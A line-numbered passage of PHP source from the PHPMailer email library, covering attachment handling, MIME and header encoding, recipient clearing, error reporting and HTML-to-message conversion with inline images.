2677 $type[] = 'inline';
2678 }
2679 if ($this->attachmentExists()) {
2680 $type[] = 'attach';
2681 }
2682 $this->message_type = implode('_', $type);
2683 if ($this->message_type == '') {
2684 //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
2685 $this->message_type = 'plain';
2686 }
2687 }
2688 /**
2689 * Format a header line.
2690 * @access public
2691 * @param string $name
2692 * @param string $value
2693 * @return string
2694 */
2695 public function headerLine($name, $value)
2696 {
2697 return $name . ': ' . $value . $this->LE;
2698 }
2699 /**
2700 * Return a formatted mail line.
2701 * @access public
2702 * @param string $value
2703 * @return string
2704 */
2705 public function textLine($value)
2706 {
2707 return $value . $this->LE;
2708 }
2709 /**
2710 * Add an attachment from a path on the filesystem.
2711 * Never use a user-supplied path to a file!
2712 * Returns false if the file could not be found or read.
2713 * @param string $path Path to the attachment.
2714 * @param string $name Overrides the attachment name.
2715 * @param string $encoding File encoding (see $Encoding).
2716 * @param string $type File extension (MIME) type.
2717 * @param string $disposition Disposition to use
2718 * @throws phpmailerException
2719 * @return boolean
2720 */
2721 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
2722 {
2723 try {
2724 if (!@is_file($path)) {
2725 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
2726 }
2727 // If a MIME type is not specified, try to work it out from the file name
2728 if ($type == '') {
2729 $type = self::filenameToType($path);
2730 }
2731 $filename = basename($path);
2732 if ($name == '') {
2733 $name = $filename;
2734 }
2735 $this->attachment[] = array(
2736 0 => $path,
2737 1 => $filename,
2738 2 => $name,
2739 3 => $encoding,
2740 4 => $type,
2741 5 => false, // isStringAttachment
2742 6 => $disposition,
2743 7 => 0
2744 );
2745 } catch (phpmailerException $exc) {
2746 $this->setError($exc->getMessage());
2747 $this->edebug($exc->getMessage());
2748 if ($this->exceptions) {
2749 throw $exc;
2750 }
2751 return false;
2752 }
2753 return true;
2754 }
2755 /**
2756 * Return the array of attachments.
2757 * @return array
2758 */
2759 public function getAttachments()
2760 {
2761 return $this->attachment;
2762 }
2763 /**
2764 * Attach all file, string, and binary attachments to the message.
2765 * Returns an empty string on failure.
2766 * @access protected
2767 * @param string $disposition_type
2768 * @param string $boundary
2769 * @return string
2770 */
2771 protected function attachAll($disposition_type, $boundary)
2772 {
2773 // Return text of body
2774 $mime = array();
2775 $cidUniq = array();
2776 $incl = array();
2777 // Add all attachments
2778 foreach ($this->attachment as $attachment) {
2779 // Check if it is a valid disposition_filter
2780 if ($attachment[6] == $disposition_type) {
2781 // Check for string attachment
2782 $string = '';
2783 $path = '';
2784 $bString = $attachment[5];
2785 if ($bString) {
2786 $string = $attachment[0];
2787 } else {
2788 $path = $attachment[0];
2789 }
2790 $inclhash = md5(serialize($attachment));
2791 if (in_array($inclhash, $incl)) {
2792 continue;
2793 }
2794 $incl[] = $inclhash;
2795 $name = $attachment[2];
2796 $encoding = $attachment[3];
2797 $type = $attachment[4];
2798 $disposition = $attachment[6];
2799 $cid = $attachment[7];
2800 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
2801 continue;
2802 }
2803 $cidUniq[$cid] = true;
2804 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
2805 //Only include a filename property if we have one
2806 if (!empty($name)) {
2807 $mime[] = sprintf(
2808 'Content-Type: %s; name="%s"%s',
2809 $type,
2810 $this->encodeHeader($this->secureHeader($name)),
2811 $this->LE
2812 );
2813 } else {
2814 $mime[] = sprintf(
2815 'Content-Type: %s%s',
2816 $type,
2817 $this->LE
2818 );
2819 }
2820 // RFC1341 part 5 says 7bit is assumed if not specified
2821 if ($encoding != '7bit') {
2822 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
2823 }
2824 if ($disposition == 'inline') {
2825 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
2826 }
2827 // If a filename contains any of these chars, it should be quoted,
2828 // but not otherwise: RFC2183 & RFC2045 5.1
2829 // Fixes a warning in IETF's msglint MIME checker
2830 // Allow for bypassing the Content-Disposition header totally
2831 if (!(empty($disposition))) {
2832 $encoded_name = $this->encodeHeader($this->secureHeader($name));
2833 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
2834 $mime[] = sprintf(
2835 'Content-Disposition: %s; filename="%s"%s',
2836 $disposition,
2837 $encoded_name,
2838 $this->LE . $this->LE
2839 );
2840 } else {
2841 if (!empty($encoded_name)) {
2842 $mime[] = sprintf(
2843 'Content-Disposition: %s; filename=%s%s',
2844 $disposition,
2845 $encoded_name,
2846 $this->LE . $this->LE
2847 );
2848 } else {
2849 $mime[] = sprintf(
2850 'Content-Disposition: %s%s',
2851 $disposition,
2852 $this->LE . $this->LE
2853 );
2854 }
2855 }
2856 } else {
2857 $mime[] = $this->LE;
2858 }
2859 // Encode as string attachment
2860 if ($bString) {
2861 $mime[] = $this->encodeString($string, $encoding);
2862 if ($this->isError()) {
2863 return '';
2864 }
2865 $mime[] = $this->LE . $this->LE;
2866 } else {
2867 $mime[] = $this->encodeFile($path, $encoding);
2868 if ($this->isError()) {
2869 return '';
2870 }
2871 $mime[] = $this->LE . $this->LE;
2872 }
2873 }
2874 }
2875 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
2876 return implode('', $mime);
2877 }
2878 /**
2879 * Encode a file attachment in requested format.
2880 * Returns an empty string on failure.
2881 * @param string $path The full path to the file
2882 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2883 * @throws phpmailerException
2884 * @access protected
2885 * @return string
2886 */
2887 protected function encodeFile($path, $encoding = 'base64')
2888 {
2889 try {
2890 if (!is_readable($path)) {
2891 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
2892 }
2893 $magic_quotes = get_magic_quotes_runtime();
2894 if ($magic_quotes) {
2895 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2896 set_magic_quotes_runtime(false);
2897 } else {
2898 //Doesn't exist in PHP 5.4, but we don't need to check because
2899 //get_magic_quotes_runtime always returns false in 5.4+
2900 //so it will never get here
2901 ini_set('magic_quotes_runtime', false);
2902 }
2903 }
2904 $file_buffer = file_get_contents($path);
2905 $file_buffer = $this->encodeString($file_buffer, $encoding);
2906 if ($magic_quotes) {
2907 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2908 set_magic_quotes_runtime($magic_quotes);
2909 } else {
2910 ini_set('magic_quotes_runtime', $magic_quotes);
2911 }
2912 }
2913 return $file_buffer;
2914 } catch (Exception $exc) {
2915 $this->setError($exc->getMessage());
2916 return '';
2917 }
2918 }
2919 /**
2920 * Encode a string in requested format.
2921 * Returns an empty string on failure.
2922 * @param string $str The text to encode
2923 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2924 * @access public
2925 * @return string
2926 */
2927 public function encodeString($str, $encoding = 'base64')
2928 {
2929 $encoded = '';
2930 switch (strtolower($encoding)) {
2931 case 'base64':
2932 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2933 break;
2934 case '7bit':
2935 case '8bit':
2936 $encoded = $this->fixEOL($str);
2937 // Make sure it ends with a line break
2938 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
2939 $encoded .= $this->LE;
2940 }
2941 break;
2942 case 'binary':
2943 $encoded = $str;
2944 break;
2945 case 'quoted-printable':
2946 $encoded = $this->encodeQP($str);
2947 break;
2948 default:
2949 $this->setError($this->lang('encoding') . $encoding);
2950 break;
2951 }
2952 return $encoded;
2953 }
2954 /**
2955 * Encode a header string optimally.
2956 * Picks shortest of Q, B, quoted-printable or none.
2957 * @access public
2958 * @param string $str
2959 * @param string $position
2960 * @return string
2961 */
2962 public function encodeHeader($str, $position = 'text')
2963 {
2964 $matchcount = 0;
2965 switch (strtolower($position)) {
2966 case 'phrase':
2967 if (!preg_match('/[\200-\377]/', $str)) {
2968 // Can't use addslashes as we don't know the value of magic_quotes_sybase
2969 $encoded = addcslashes($str, "\0..\37\177\\\"");
2970 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2971 return ($encoded);
2972 } else {
2973 return ("\"$encoded\"");
2974 }
2975 }
2976 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2977 break;
2978 /** @noinspection PhpMissingBreakStatementInspection */
2979 case 'comment':
2980 $matchcount = preg_match_all('/[()"]/', $str, $matches);
2981 // Intentional fall-through
2982 case 'text':
2983 default:
2984 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2985 break;
2986 }
2987 //There are no chars that need encoding
2988 if ($matchcount == 0) {
2989 return ($str);
2990 }
2991 $maxlen = 75 - 7 - strlen($this->CharSet);
2992 // Try to select the encoding which should produce the shortest output
2993 if ($matchcount > strlen($str) / 3) {
2994 // More than a third of the content will need encoding, so B encoding will be most efficient
2995 $encoding = 'B';
2996 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
2997 // Use a custom function which correctly encodes and wraps long
2998 // multibyte strings without breaking lines within a character
2999 $encoded = $this->base64EncodeWrapMB($str, "\n");
3000 } else {
3001 $encoded = base64_encode($str);
3002 $maxlen -= $maxlen % 4;
3003 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3004 }
3005 } else {
3006 $encoding = 'Q';
3007 $encoded = $this->encodeQ($str, $position);
3008 $encoded = $this->wrapText($encoded, $maxlen, true);
3009 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3010 }
3011 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3012 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3013 return $encoded;
3014 }
3015 /**
3016 * Check if a string contains multi-byte characters.
3017 * @access public
3018 * @param string $str multi-byte text to wrap encode
3019 * @return boolean
3020 */
3021 public function hasMultiBytes($str)
3022 {
3023 if (function_exists('mb_strlen')) {
3024 return (strlen($str) > mb_strlen($str, $this->CharSet));
3025 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3026 return false;
3027 }
3028 }
3029 /**
3030 * Does a string contain any 8-bit chars (in any charset)?
3031 * @param string $text
3032 * @return boolean
3033 */
3034 public function has8bitChars($text)
3035 {
3036 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3037 }
3038 /**
3039 * Encode and wrap long multibyte strings for mail headers
3040 * without breaking lines within a character.
3041 * Adapted from a function by paravoid
3042 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3043 * @access public
3044 * @param string $str multi-byte text to wrap encode
3045 * @param string $linebreak string to use as linefeed/end-of-line
3046 * @return string
3047 */
3048 public function base64EncodeWrapMB($str, $linebreak = null)
3049 {
3050 $start = '=?' . $this->CharSet . '?B?';
3051 $end = '?=';
3052 $encoded = '';
3053 if ($linebreak === null) {
3054 $linebreak = $this->LE;
3055 }
3056 $mb_length = mb_strlen($str, $this->CharSet);
3057 // Each line must have length <= 75, including $start and $end
3058 $length = 75 - strlen($start) - strlen($end);
3059 // Average multi-byte ratio
3060 $ratio = $mb_length / strlen($str);
3061 // Base64 has a 4:3 ratio
3062 $avgLength = floor($length * $ratio * .75);
3063 for ($i = 0; $i < $mb_length; $i += $offset) {
3064 $lookBack = 0;
3065 do {
3066 $offset = $avgLength - $lookBack;
3067 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3068 $chunk = base64_encode($chunk);
3069 $lookBack++;
3070 } while (strlen($chunk) > $length);
3071 $encoded .= $chunk . $linebreak;
3072 }
3073 // Chomp the last linefeed
3074 $encoded = substr($encoded, 0, -strlen($linebreak));
3075 return $encoded;
3076 }
3077 /**
3078 * Encode a string in quoted-printable format.
3079 * According to RFC2045 section 6.7.
3080 * @access public
3081 * @param string $string The text to encode
3082 * @param integer $line_max Number of chars allowed on a line before wrapping
3083 * @return string
3084 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3085 */
3086 public function encodeQP($string, $line_max = 76)
3087 {
3088 // Use native function if it's available (>= PHP5.3)
3089 if (function_exists('quoted_printable_encode')) {
3090 return quoted_printable_encode($string);
3091 }
3092 // Fall back to a pure PHP implementation
3093 $string = str_replace(
3094 array('%20', '%0D%0A.', '%0D%0A', '%'),
3095 array(' ', "\r\n=2E", "\r\n", '='),
3096 rawurlencode($string)
3097 );
3098 return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3099 }
3100 /**
3101 * Backward compatibility wrapper for an old QP encoding function that was removed.
3102 * @see PHPMailer::encodeQP()
3103 * @access public
3104 * @param string $string
3105 * @param integer $line_max
3106 * @param boolean $space_conv
3107 * @return string
3108 * @deprecated Use encodeQP instead.
3109 */
3110 public function encodeQPphp(
3111 $string,
3112 $line_max = 76,
3113 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3114 ) {
3115 return $this->encodeQP($string, $line_max);
3116 }
3117 /**
3118 * Encode a string using Q encoding.
3119 * @link http://tools.ietf.org/html/rfc2047
3120 * @param string $str the text to encode
3121 * @param string $position Where the text is going to be used, see the RFC for what that means
3122 * @access public
3123 * @return string
3124 */
3125 public function encodeQ($str, $position = 'text')
3126 {
3127 // There should not be any EOL in the string
3128 $pattern = '';
3129 $encoded = str_replace(array("\r", "\n"), '', $str);
3130 switch (strtolower($position)) {
3131 case 'phrase':
3132 // RFC 2047 section 5.3
3133 $pattern = '^A-Za-z0-9!*+\/ -';
3134 break;
3135 /** @noinspection PhpMissingBreakStatementInspection */
3136 case 'comment':
3137 // RFC 2047 section 5.2
3138 $pattern = '\(\)"';
3139 // intentional fall-through
3140 // for this reason we build the $pattern without including delimiters and []
3141 case 'text':
3142 default:
3143 // RFC 2047 section 5.1
3144 // Replace every high ascii, control, =, ? and _ characters
3145 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
3146 break;
3147 }
3148 $matches = array();
3149 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
3150 // If the string contains an '=', make sure it's the first thing we replace
3151 // so as to avoid double-encoding
3152 $eqkey = array_search('=', $matches[0]);
3153 if (false !== $eqkey) {
3154 unset($matches[0][$eqkey]);
3155 array_unshift($matches[0], '=');
3156 }
3157 foreach (array_unique($matches[0]) as $char) {
3158 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
3159 }
3160 }
3161 // Replace every spaces to _ (more readable than =20)
3162 return str_replace(' ', '_', $encoded);
3163 }
3164 /**
3165 * Add a string or binary attachment (non-filesystem).
3166 * This method can be used to attach ascii or binary data,
3167 * such as a BLOB record from a database.
3168 * @param string $string String attachment data.
3169 * @param string $filename Name of the attachment.
3170 * @param string $encoding File encoding (see $Encoding).
3171 * @param string $type File extension (MIME) type.
3172 * @param string $disposition Disposition to use
3173 * @return void
3174 */
3175 public function addStringAttachment(
3176 $string,
3177 $filename,
3178 $encoding = 'base64',
3179 $type = '',
3180 $disposition = 'attachment'
3181 ) {
3182 // If a MIME type is not specified, try to work it out from the file name
3183 if ($type == '') {
3184 $type = self::filenameToType($filename);
3185 }
3186 // Append to $attachment array
3187 $this->attachment[] = array(
3188 0 => $string,
3189 1 => $filename,
3190 2 => basename($filename),
3191 3 => $encoding,
3192 4 => $type,
3193 5 => true, // isStringAttachment
3194 6 => $disposition,
3195 7 => 0
3196 );
3197 }
3198 /**
3199 * Add an embedded (inline) attachment from a file.
3200 * This can include images, sounds, and just about any other document type.
3201 * These differ from 'regular' attachments in that they are intended to be
3202 * displayed inline with the message, not just attached for download.
3203 * This is used in HTML messages that embed the images
3204 * the HTML refers to using the $cid value.
3205 * Never use a user-supplied path to a file!
3206 * @param string $path Path to the attachment.
3207 * @param string $cid Content ID of the attachment; Use this to reference
3208 * the content when using an embedded image in HTML.
3209 * @param string $name Overrides the attachment name.
3210 * @param string $encoding File encoding (see $Encoding).
3211 * @param string $type File MIME type.
3212 * @param string $disposition Disposition to use
3213 * @return boolean True on successfully adding an attachment
3214 */
3215 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
3216 {
3217 if (!@is_file($path)) {
3218 $this->setError($this->lang('file_access') . $path);
3219 return false;
3220 }
3221 // If a MIME type is not specified, try to work it out from the file name
3222 if ($type == '') {
3223 $type = self::filenameToType($path);
3224 }
3225 $filename = basename($path);
3226 if ($name == '') {
3227 $name = $filename;
3228 }
3229 // Append to $attachment array
3230 $this->attachment[] = array(
3231 0 => $path,
3232 1 => $filename,
3233 2 => $name,
3234 3 => $encoding,
3235 4 => $type,
3236 5 => false, // isStringAttachment
3237 6 => $disposition,
3238 7 => $cid
3239 );
3240 return true;
3241 }
3242 /**
3243 * Add an embedded stringified attachment.
3244 * This can include images, sounds, and just about any other document type.
3245 * Be sure to set the $type to an image type for images:
3246 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
3247 * @param string $string The attachment binary data.
3248 * @param string $cid Content ID of the attachment; Use this to reference
3249 * the content when using an embedded image in HTML.
3250 * @param string $name
3251 * @param string $encoding File encoding (see $Encoding).
3252 * @param string $type MIME type.
3253 * @param string $disposition Disposition to use
3254 * @return boolean True on successfully adding an attachment
3255 */
3256 public function addStringEmbeddedImage(
3257 $string,
3258 $cid,
3259 $name = '',
3260 $encoding = 'base64',
3261 $type = '',
3262 $disposition = 'inline'
3263 ) {
3264 // If a MIME type is not specified, try to work it out from the name
3265 if ($type == '' and !empty($name)) {
3266 $type = self::filenameToType($name);
3267 }
3268 // Append to $attachment array
3269 $this->attachment[] = array(
3270 0 => $string,
3271 1 => $name,
3272 2 => $name,
3273 3 => $encoding,
3274 4 => $type,
3275 5 => true, // isStringAttachment
3276 6 => $disposition,
3277 7 => $cid
3278 );
3279 return true;
3280 }
3281 /**
3282 * Check if an inline attachment is present.
3283 * @access public
3284 * @return boolean
3285 */
3286 public function inlineImageExists()
3287 {
3288 foreach ($this->attachment as $attachment) {
3289 if ($attachment[6] == 'inline') {
3290 return true;
3291 }
3292 }
3293 return false;
3294 }
3295 /**
3296 * Check if an attachment (non-inline) is present.
3297 * @return boolean
3298 */
3299 public function attachmentExists()
3300 {
3301 foreach ($this->attachment as $attachment) {
3302 if ($attachment[6] == 'attachment') {
3303 return true;
3304 }
3305 }
3306 return false;
3307 }
3308 /**
3309 * Check if this message has an alternative body set.
3310 * @return boolean
3311 */
3312 public function alternativeExists()
3313 {
3314 return !empty($this->AltBody);
3315 }
3316 /**
3317 * Clear queued addresses of given kind.
3318 * @access protected
3319 * @param string $kind 'to', 'cc', or 'bcc'
3320 * @return void
3321 */
3322 public function clearQueuedAddresses($kind)
3323 {
3324 $RecipientsQueue = $this->RecipientsQueue;
3325 foreach ($RecipientsQueue as $address => $params) {
3326 if ($params[0] == $kind) {
3327 unset($this->RecipientsQueue[$address]);
3328 }
3329 }
3330 }
3331 /**
3332 * Clear all To recipients.
3333 * @return void
3334 */
3335 public function clearAddresses()
3336 {
3337 foreach ($this->to as $to) {
3338 unset($this->all_recipients[strtolower($to[0])]);
3339 }
3340 $this->to = array();
3341 $this->clearQueuedAddresses('to');
3342 }
3343 /**
3344 * Clear all CC recipients.
3345 * @return void
3346 */
3347 public function clearCCs()
3348 {
3349 foreach ($this->cc as $cc) {
3350 unset($this->all_recipients[strtolower($cc[0])]);
3351 }
3352 $this->cc = array();
3353 $this->clearQueuedAddresses('cc');
3354 }
3355 /**
3356 * Clear all BCC recipients.
3357 * @return void
3358 */
3359 public function clearBCCs()
3360 {
3361 foreach ($this->bcc as $bcc) {
3362 unset($this->all_recipients[strtolower($bcc[0])]);
3363 }
3364 $this->bcc = array();
3365 $this->clearQueuedAddresses('bcc');
3366 }
3367 /**
3368 * Clear all ReplyTo recipients.
3369 * @return void
3370 */
3371 public function clearReplyTos()
3372 {
3373 $this->ReplyTo = array();
3374 $this->ReplyToQueue = array();
3375 }
3376 /**
3377 * Clear all recipient types.
3378 * @return void
3379 */
3380 public function clearAllRecipients()
3381 {
3382 $this->to = array();
3383 $this->cc = array();
3384 $this->bcc = array();
3385 $this->all_recipients = array();
3386 $this->RecipientsQueue = array();
3387 }
3388 /**
3389 * Clear all filesystem, string, and binary attachments.
3390 * @return void
3391 */
3392 public function clearAttachments()
3393 {
3394 $this->attachment = array();
3395 }
3396 /**
3397 * Clear all custom headers.
3398 * @return void
3399 */
3400 public function clearCustomHeaders()
3401 {
3402 $this->CustomHeader = array();
3403 }
3404 /**
3405 * Add an error message to the error container.
3406 * @access protected
3407 * @param string $msg
3408 * @return void
3409 */
3410 protected function setError($msg)
3411 {
3412 $this->error_count++;
3413 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
3414 $lasterror = $this->smtp->getError();
3415 if (!empty($lasterror['error'])) {
3416 $msg .= $this->lang('smtp_error') . $lasterror['error'];
3417 if (!empty($lasterror['detail'])) {
3418 $msg .= ' Detail: '. $lasterror['detail'];
3419 }
3420 if (!empty($lasterror['smtp_code'])) {
3421 $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
3422 }
3423 if (!empty($lasterror['smtp_code_ex'])) {
3424 $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
3425 }
3426 }
3427 }
3428 $this->ErrorInfo = $msg;
3429 }
3430 /**
3431 * Return an RFC 822 formatted date.
3432 * @access public
3433 * @return string
3434 * @static
3435 */
3436 public static function rfcDate()
3437 {
3438 // Set the time zone to whatever the default is to avoid 500 errors
3439 // Will default to UTC if it's not set properly in php.ini
3440 date_default_timezone_set(@date_default_timezone_get());
3441 return date('D, j M Y H:i:s O');
3442 }
3443 /**
3444 * Get the server hostname.
3445 * Returns 'localhost.localdomain' if unknown.
3446 * @access protected
3447 * @return string
3448 */
3449 protected function serverHostname()
3450 {
3451 $result = 'localhost.localdomain';
3452 if (!empty($this->Hostname)) {
3453 $result = $this->Hostname;
3454 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
3455 $result = $_SERVER['SERVER_NAME'];
3456 } elseif (function_exists('gethostname') && gethostname() !== false) {
3457 $result = gethostname();
3458 } elseif (php_uname('n') !== false) {
3459 $result = php_uname('n');
3460 }
3461 return $result;
3462 }
3463 /**
3464 * Get an error message in the current language.
3465 * @access protected
3466 * @param string $key
3467 * @return string
3468 */
3469 protected function lang($key)
3470 {
3471 if (count($this->language) < 1) {
3472 $this->setLanguage('en'); // set the default language
3473 }
3474 if (array_key_exists($key, $this->language)) {
3475 if ($key == 'smtp_connect_failed') {
3476 //Include a link to troubleshooting docs on SMTP connection failure
3477 //this is by far the biggest cause of support questions
3478 //but it's usually not PHPMailer's fault.
3479 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
3480 }
3481 return $this->language[$key];
3482 } else {
3483 //Return the key as a fallback
3484 return $key;
3485 }
3486 }
3487 /**
3488 * Check if an error occurred.
3489 * @access public
3490 * @return boolean True if an error did occur.
3491 */
3492 public function isError()
3493 {
3494 return ($this->error_count > 0);
3495 }
3496 /**
3497 * Ensure consistent line endings in a string.
3498 * Changes every end of line from CRLF, CR or LF to $this->LE.
3499 * @access public
3500 * @param string $str String to fixEOL
3501 * @return string
3502 */
3503 public function fixEOL($str)
3504 {
3505 // Normalise to \n
3506 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
3507 // Now convert LE as needed
3508 if ($this->LE !== "\n") {
3509 $nstr = str_replace("\n", $this->LE, $nstr);
3510 }
3511 return $nstr;
3512 }
3513 /**
3514 * Add a custom header.
3515 * $name value can be overloaded to contain
3516 * both header name and value (name:value)
3517 * @access public
3518 * @param string $name Custom header name
3519 * @param string $value Header value
3520 * @return void
3521 */
3522 public function addCustomHeader($name, $value = null)
3523 {
3524 if ($value === null) {
3525 // Value passed in as name:value
3526 $this->CustomHeader[] = explode(':', $name, 2);
3527 } else {
3528 $this->CustomHeader[] = array($name, $value);
3529 }
3530 }
3531 /**
3532 * Returns all custom headers.
3533 * @return array
3534 */
3535 public function getCustomHeaders()
3536 {
3537 return $this->CustomHeader;
3538 }
3539 /**
3540 * Create a message body from an HTML string.
3541 * Automatically inlines images and creates a plain-text version by converting the HTML,
3542 * overwriting any existing values in Body and AltBody.
3543 * Do not source $message content from user input!
3544 * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
3545 * will look for an image file in $basedir/images/a.png and convert it to inline.
3546 * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
3547 * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
3548 * @access public
3549 * @param string $message HTML message string
3550 * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
3551 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
3552 * or your own custom converter @see PHPMailer::html2text()
3553 * @return string $message The transformed message Body
3554 */
3555 public function msgHTML($message, $basedir = '', $advanced = false)
3556 {
3557 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
3558 if (array_key_exists(2, $images)) {
3559 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
3560 // Ensure $basedir has a trailing /
3561 $basedir .= '/';
3562 }
3563 foreach ($images[2] as $imgindex => $url) {
3564 // Convert data URIs into embedded images
3565 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
3566 $data = substr($url, strpos($url, ','));
3567 if ($match[2]) {
3568 $data = base64_decode($data);
3569 } else {
3570 $data = rawurldecode($data);
3571 }
3572 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3573 if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
3574 $message = str_replace(
3575 $images[0][$imgindex],
3576 $images[1][$imgindex] . '="cid:' . $cid . '"',
3577 $message
3578 );
3579 }
3580 continue;
3581 }
3582 if (
3583 // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
3584 !empty($basedir)
3585 // Ignore URLs containing parent dir traversal (..)
3586 && (strpos($url, '..') === false)
3587 // Do not change urls that are already inline images
3588 && substr($url, 0, 4) !== 'cid:'
3589 // Do not change absolute URLs, including anonymous protocol
3590 && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
3591 ) {
3592 $filename = basename($url);
3593 $directory = dirname($url);
3594 if ($directory == '.') {
3595 $directory = '';
3596 }
3597 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3598 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
3599 $directory .= '/';
3600 }
3601 if ($this->addEmbeddedImage(
3602 $basedir . $directory . $filename,
3603 $cid,
3604 $filename,
3605 'base64',
3606 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
3607 )
3608 ) {
3609 $message = preg_replace(
3610 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
3611 $images[1][$imgindex] . '="cid:' . $cid . '"',
3612 $message
3613 );
3614 }
3615 }
3616 }
3617 }
3618 $this->isHTML(true);
3619 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
3620 $this->Body = $this->normalizeBreaks($message);
3621 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
3622 if (!$this->alternativeExists()) {
3623 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
3624 self::CRLF . self::CRLF;
3625 }
3626 return $this->Body;
3627 }
3628 /**
3629 * Convert an HTML string into plain text.
3630 * This is used by msgHTML().
3631 * Note - older versions of this function used a bundled advanced converter
3632 * which was been removed for license reasons in #232.
3633 * Example usage:
3634 * <code>
3635 * // Use default conversion
3636 * $plain = $mail->html2text($html);
3637 * // Use your own custom converter
3638 * $plain = $mail->html2text($html, function($html) {
3639 * $converter = new MyHtml2text($html);
3640 * return $converter->get_text();
3641 * });
3642 * </code>
3643 * @param string $html The HTML text to convert
3644 * @param boolean|callable $advanced Any boolean value to use the internal converter,
3645 * or provide your own callable for custom conversion.
3646 * @return string
3647 */
3648 public function html2text($html, $advanced = false)
3649 {
3650 if (is_callable($advanced)) {
3651 return call_user_func($advanced, $html);
3652 }
3653 return html_entity_decode(
3654 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
3655 ENT_QUOTES,
3656 $this->CharSet
3657 );
3658 }
3659 /**
3660 * Get the MIME type for a file extension.
3661 * @param string $ext File extension
3662 * @access public
3663 * @return string MIME type of file.
3664 * @static
3665 */
3666 public static function _mime_types($ext = '')
3667 {
3668 $mimes = array(
3669 'xl' => 'application/excel',
3670 'js' => 'application/javascript',
3671 'hqx' => 'application/mac-binhex40',
3672 'cpt' => 'application/mac-compactpro',
3673 'bin' => 'application/macbinary',
3674 'doc' => 'application/msword',
3675 'word' => 'application/msword',
3676 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3677 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
3678 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
3679 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
3680 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
3681 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
3682 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3683 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
3684 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
3685 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
3686 'class' => 'application/octet-stream',
3687 'dll' => 'application/octet-stream',
3688 'dms' => 'application/octet-stream',
